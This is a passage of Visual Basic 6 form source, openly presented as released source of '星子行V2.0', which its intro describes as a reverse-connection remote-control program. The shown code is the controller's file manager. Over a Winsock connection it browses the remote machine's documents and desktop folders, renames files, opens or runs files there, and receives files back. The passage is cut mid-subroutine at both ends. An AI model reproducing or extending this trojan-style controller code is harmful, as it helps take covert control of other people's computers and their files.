faws.frm

星子行V2.0(源码)公开星子行V3.0以上版本,都是由星子行V1.0和星子行V2.0的核心结合而开发成的! 星子行V1.0是单反接正法,星子行V2.0是多反接法,星子行V3.0以上版本都是多反

Dim a1 As Long  '枚举选中对象用的素引

Dim a2 As Long  '为listview1中对象的个数

Dim a3 As String '用于分别是否为文件夹对象.为选中的关键字


a2 = ListView1.ListItems.Count


For a1 = 1 To a2 Step 1

If (ListView1.ListItems(a1).Selected = True) Then

     
     a3 = ListView1.ListItems(a1).Key
     
     If (Right(a3, 1) = "\") Then
     
     
      Dim fc, f1, fs, d, dc
 
      Dim f
    
 
      Set fs = CreateObject("Scripting.FileSystemObject")


      Set f = fs.GetFolder(a3)
      Set fc = f.SubFolders
      
      For Each f1 In fc
      
       Call clickimage3(f1.path)
        
      Next
    
      Set fc = f.Files
      For Each f1 In fc
               
      ReDim Preserve list1path(a4)
      
          list1path(a4) = f1.path
          
         ' MsgBox a4 & "  " & list1path(a4)
          
          a4 = a4 + 1
          
      Next
     
    
     Else
     
     ReDim Preserve list1path(a4)
     
     list1path(a4) = a3
     
     'MsgBox a4 & "  " & list1path(a4)
     
     a4 = a4 + 1
     
     
     
     End If
     
End If

Next

Fapt.Show

Call list1tolist2(0)

End Sub



Private Sub clickimage3(a1 As String)

On Error Resume Next

      Dim fc, f1, fs, d, dc
 
      Dim f
    
 
      Set fs = CreateObject("Scripting.FileSystemObject")


      Set f = fs.GetFolder(a1)
      Set fc = f.SubFolders
      
      For Each f1 In fc
      
       Call clickimage3(f1.path)
        
      Next
    
      Set fc = f.Files
      For Each f1 In fc
               
      ReDim Preserve list1path(a4)
      
          list1path(a4) = f1.path
          
     '     MsgBox a4 & "  " & list1path(a4)
          
          a4 = a4 + 1
          
      Next




End Sub

Private Sub Image2_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
'Image2.Picture = LoadResPicture(105, 0)

End Sub

Private Sub Image2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
'Image2.Picture = LoadResPicture(104, 0)

Timer2.Enabled = True
End Sub
Private Sub ListView1_Click()

On Error Resume Next

Ropen.Enabled = False
Rrtbox.Enabled = False
Lopen.Enabled = True

StatusBar1.Panels(2).Text = ListView1.SelectedItem.Key
    
'StatusBar1.Panels(2).ToolTipText = ListView1.SelectedItem.Key

End Sub

Private Sub ListView1_DblClick()

On Error Resume Next

l1f2 = list1key

 
 Dim fc, f1, fs, d, dc
 Dim S As String
        
     

Dim path As String

path = ListView1.SelectedItem.Key
 
 
    Dim a1 As String
    a1 = Right(path, 1)
 
 If (a1 <> "\") Then Exit Sub
 
 
 Dim f
  Set fs = CreateObject("Scripting.FileSystemObject")
 ListView1.ListItems.Clear

list1key = path
     
   On Error GoTo er

      Set f = fs.GetFolder(path)
      Set fc = f.SubFolders
      
      For Each f1 In fc
        S = f1.name
        ListView1.ListItems.Add , f1.path & "\", S, 1
      Next
      
 
    
      
    Set fc = f.Files
    For Each f1 In fc
               S = f1.name
               
               Dim index As Long
               index = icoindex(f1.path, S)
               
        ListView1.ListItems.Add , f1.path, S, index

    Next
    
    
    StatusBar1.Panels(2).Text = list1key
    
    StatusBar1.Panels(2).ToolTipText = list1key
         
    
    '新加对控制按钮的处理程序



Toolbar1.Buttons(1).Enabled = True
Toolbar1.Buttons(2).Enabled = True
Toolbar1.Buttons(3).Enabled = False
Toolbar1.Buttons(4).Enabled = True







'______________________________结束

Exit Sub
er:
MsgBox "文件或文件夹拒绝访问", vbOKOnly, "出错"

Call Toolbar1_ButtonClick(Toolbar1.Buttons(1))

Toolbar1.Buttons(3).Enabled = False

End Sub
Private Sub ListView2_Click()

On Error Resume Next

Lopen.Enabled = False
Ropen.Enabled = True
Rrtbox.Enabled = True

StatusBar2.Panels(2).Text = ListView2.SelectedItem.Key
    
'StatusBar2.Panels(2).ToolTipText = ListView2.SelectedItem.Key


End Sub
Private Sub ListView2_DblClick()

On Error Resume Next
 
Toolbar2.Buttons(1).Enabled = True
Toolbar2.Buttons(4).Enabled = True

Dim path As String

path = ListView2.SelectedItem.Key
 
Select Case path

Case "文档"

Scmnet3.SendData "1" & x文档

list2path = x文档

Case "桌面"

Scmnet3.SendData "1" & desktoppath

list2path = desktoppath

Case Else


    Dim a1 As String
    a1 = Right(path, 1)
 
   If (a1 <> "\") Then Exit Sub
 
   list2path = path
 
   Scmnet3.SendData "1" & path
   
End Select
   
If (list2path <> "") Then

StatusBar2.Panels(2).Text = Rcname & "\\" & list2path
StatusBar2.Panels(2).ToolTipText = Rcname & "\\" & list2path
Else
StatusBar2.Panels(2).Text = "[" & Rcname & "]" & "的电脑"
End If

End Sub

Private Sub Lopen_Click()

On Error Resume Next

Lopen.Enabled = True
If mu1 = 1 Then

ShellExecute hwnd, "open", ListView1.SelectedItem.Key, vbNullString, vbNullString, 1

End If

End Sub

Private Sub Open1_Click()

On Error Resume Next

Dim path As String
Dim a1 As String

Select Case mu1

Case "1"

l1f2 = list1key

 
 Dim fc, f1, fs, d, dc
 Dim S As String
        
     

'Dim path As String

path = ListView1.SelectedItem.Key
 
 
    'Dim a1 As String
    a1 = Right(path, 1)
 
 If (a1 <> "\") Then Exit Sub
 
 
 Dim f
  Set fs = CreateObject("Scripting.FileSystemObject")
 ListView1.ListItems.Clear

list1key = path
     
   On Error GoTo er

      Set f = fs.GetFolder(path)
      Set fc = f.SubFolders
      
      For Each f1 In fc
        S = f1.name
        ListView1.ListItems.Add , f1.path & "\", S, 1
      Next
      
 
    
      
    Set fc = f.Files
    For Each f1 In fc
               S = f1.name
               
               Dim index As Long
               index = icoindex(f1.path, S)
               
        ListView1.ListItems.Add , f1.path, S, index

    Next
    
    
    StatusBar1.Panels(2).Text = list1key
    
    StatusBar1.Panels(2).ToolTipText = list1key
         
    
    '新加对控制按钮的处理程序



Toolbar1.Buttons(1).Enabled = True
Toolbar1.Buttons(2).Enabled = True
Toolbar1.Buttons(3).Enabled = True
Toolbar1.Buttons(4).Enabled = True







'______________________________结束

Exit Sub
er:
MsgBox "文件或文件夹拒绝访问", vbOKOnly, "出错"

Call Toolbar1_ButtonClick(Toolbar1.Buttons(1))

Toolbar1.Buttons(3).Enabled = False


Case "2"

Toolbar2.Buttons(1).Enabled = True
Toolbar2.Buttons(2).Enabled = True




'Dim path As String

path = ListView2.SelectedItem.Key
 
Select Case path

Case "文档"

Scmnet3.SendData "1" & x文档

list2path = x文档

Case "桌面"

Scmnet3.SendData "1" & desktoppath

list2path = desktoppath

Case Else


    'Dim a1 As String
    a1 = Right(path, 1)
 
   If (a1 <> "\") Then Exit Sub
 
   list2path = path
 
   Scmnet3.SendData "1" & path
   
End Select
   
If (list2path <> "") Then

StatusBar2.Panels(2).Text = Rcname & "\\" & list2path
StatusBar2.Panels(2).ToolTipText = Rcname & "\\" & list2path
Else
StatusBar2.Panels(2).Text = "[" & Rcname & "]" & "的电脑"
End If


End Select

End Sub

Private Sub redata_Click()

On Error GoTo Paerr

Select Case mu1

Case "2" '客户端发关文件

list1key = App.path & "\"

If (list1key = "") Then

MsgBox "根目路径错误！", 16

Exit Sub

End If

ReDim list2paths(0)

Call clickimage

Call list2_list1

End Select

Exit Sub

Paerr:

MsgBox "接收文件失败！", 16

End Sub

Private Sub Rfiles_Click()

On Error Resume Next

        Dim fs
        
          Set fs = CreateObject("scripting.filesystemobject")

  If mu1 = 1 Then

         If fs.folderexists(ListView1.SelectedItem.Key) Then '是否文件夹
 
 Call Dirpa_s(ListView1.SelectedItem.Key)
 
         Else '是否文件夹

  Dim FileInformation As FILE_INFORMATION

  Call GetFileInformation(ListView1.SelectedItem.Key, FileInformation, True)

         End If '是否文件夹

  ElseIf mu1 = 2 Then

         If fs.folderexists(ListView2.SelectedItem.Key) Then '是否文件夹

Scmnet3.SendData "D" & ListView2.SelectedItem.Key

         Else '是否文件夹

Scmnet3.SendData "d" & ListView2.SelectedItem.Key

         End If '是否文件夹



  End If

End Sub

Private Sub Rmnewn_Click()

On Error Resume Next

Dim Ldb As String
Dim Nfiles As String

Dim fs
          Set fs = CreateObject("scripting.filesystemobject")


If mu1 = 2 Then

Scmnet3.SendData "b" & ListView2.SelectedItem.Key

End If


If mu1 = 1 Then
''''''''''''''''''''''''''''
          If fs.folderexists(ListView1.SelectedItem.Key) Then
          
          OldName = ListView1.SelectedItem.Key

   Nfiles = InputBox("请定义一个新的文件名！", "重命名")

If Nfiles = "" Then Exit Sub

Newname = list1key & Nfiles  ' 定义文件名。

Name OldName As Newname   ' 更改文件名。

Call refu(list1key, 1)
    
ListView1.Sorted = True

   Else '文件夹
    

OldName = ListView1.SelectedItem.Key

Ldb = OldName

Ldb = Mid$(Ldb, InStr(Ldb, "."))

Nfiles = InputBox("请定义一个新的文件名！", "重命名")

If Nfiles = "" Then Exit Sub

Newname = list1key & Nfiles & Ldb ' 定义文件名。

Name OldName As Newname   ' 更改文件名。

Call refu(list1key, 1)
    
ListView1.Sorted = True

End If '文件夹


ElseIf mu1 = 2 Then


If fs.folderexists(ListView2.SelectedItem.Key) Then

OldName = ListView2.SelectedItem.Key

Nfiles = InputBox("请定义一个新的文件名！", "重命名")

If Nfiles = "" Then Exit Sub

Newname = list2path & Nfiles  ' 定义文件名。

Scmnet3.SendData "c" & Newname  ' 更改文件名。


Else '文件夹


OldName = ListView2.SelectedItem.Key

Ldb = OldName

Ldb = Mid$(Ldb, InStr(Ldb, "."))

Nfiles = InputBox("请定义一个新的文件名！", "重命名")

If Nfiles = "" Then Exit Sub

Newname = list2path & Nfiles & Ldb ' 定义文件名。

Scmnet3.SendData "c" & Newname  ' 更改文件名。

ListView2.Sorted = True

End If '文件夹

End If

End Sub

Private Sub Ropen_Click()

If mu1 = 2 Then

Scmnet3.SendData "a" & ListView2.SelectedItem.Key

End If

End Sub

Private Sub Rrtbox_Click()